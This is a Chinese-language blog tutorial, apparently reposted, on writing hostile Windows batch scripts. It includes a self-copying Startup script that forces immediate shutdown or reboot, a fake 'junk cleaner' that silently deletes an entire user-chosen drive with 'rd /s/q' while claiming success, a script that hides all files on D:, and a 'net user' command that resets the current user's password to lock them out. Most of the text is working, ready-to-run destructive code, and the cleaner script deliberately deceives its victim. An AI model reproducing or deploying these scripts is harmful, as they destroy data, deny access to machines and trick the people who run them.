一、針對老系統的自啟動腳本
1、工具VMware Workstation:
出現問題:VMware 加載鏡像時電腦需要啟用Intel VT-x,否則無法啟動虛擬機
解決方法:重啟電腦,開機時一直點F10(惠普電腦),進入bios,開啟了windows支持虛擬化,就可以繼續使用了
2、打開win2003虛擬機
a、輸入用戶密碼
b、新建txt檔案,將后綴改為bat(可執行檔案,bat檔案是存在于dos/windows中的腳本檔案,bat的直接操作物件是dos命令,Java或c語言下的腳本),點擊編輯,
c、在虛擬機中找到“開始”-“所有程式”-“啟動”,復制啟動的路徑(C:\Documents and Settings\Administrator\「開始」選單\程式\啟動)
d、在可執行檔案中寫:copy %0 "C:\Documents and Settings\Administrator\「開始」選單\程式\啟動" 即將啟動拷貝給自己,%0拷給自己的意思,
e、shutdown -s -f -t 0 關機
shutdown -r -f -t 0 重啟
f、保存后退出,雙擊檔案開始執行,
二、針對新系統的自啟動腳本
1、win7 win10的啟動路徑一樣(win10的啟動路徑不好找)
2、%username%(%% 變數)將當前用戶名得值取出來
3、與一一樣在可執行檔案中寫:copy %0 "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
4、shutdown -s -f -t 0 關機
shutdown -r -f -t 0 重啟
三、dos命令 rd 檔案夾物件 /s/q
1、rd(remove directory洗掉 dir 檔案
2、rd 默認只能洗掉空檔案夾,并且會有提示
3、可以加選項 /s 遞回洗掉(也就是可以洗掉子檔案)
4、可以加選項 /q 就沒有提示可以直接洗掉
5、eg:要洗掉D盤所有檔案
a、cmd打開命令提示符
b、d: 進入D盤
c、cd\ 進入D盤根目錄
d、rd . /s/q 刪掉當前檔案夾
或者
a、rd d:/s/q
四、腳本案例
1、技術點:
set a=1
set /p a= (/p 值只能來自用戶的輸入)
set /p a=請輸入您的時間:
echo %變數名% (echo為輸出一個值)
2、eg:
@echo off #固定用法,首行,關倍訓顯,即:屏蔽執行程序
echo====================
echo 您好,系統即將清理垃圾!
echo=====================
set /p a=請輸入盤符:
rd %a%:/s/q>nul 2>nul #nul 2>nul 螢屏不要有任何的輸出
echo 垃圾清理中,,,,,
ping -n 10 127.0.0.1>nul 2>nul #實作效果為螢屏等待十秒
echo 恭喜!垃圾清理完畢
pause #暫停
start d: #開啟D盤
五、高級隱藏
@echo off
attrib +s +h d:\*.*/S /D>nul 2>nul #隱藏D盤所有東西,包含檔案,檔案夾
echo 隨便輸入一個東西 >d:檔案名.txt #在指定路徑下創建檔案,內容為自己隨便寫的
attrib -s -h d:\*.*/S /D>nul 2>nul #解開隱藏檔案
六、用戶管理相關腳本
1、net user 列出當前電腦的用戶名
2、net user 用戶名 密碼 #對已有用戶修改密碼
3、net user 用戶名 密碼 /add #創建新用戶
4、軟體介紹:bat-to-exe
5、eg:案例
net user %username% 12316978465456這也是隨便寫的/add
shut down -l
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/290799.html
標籤:其他
上一篇:SQL注入靶場:辛巴貓舍
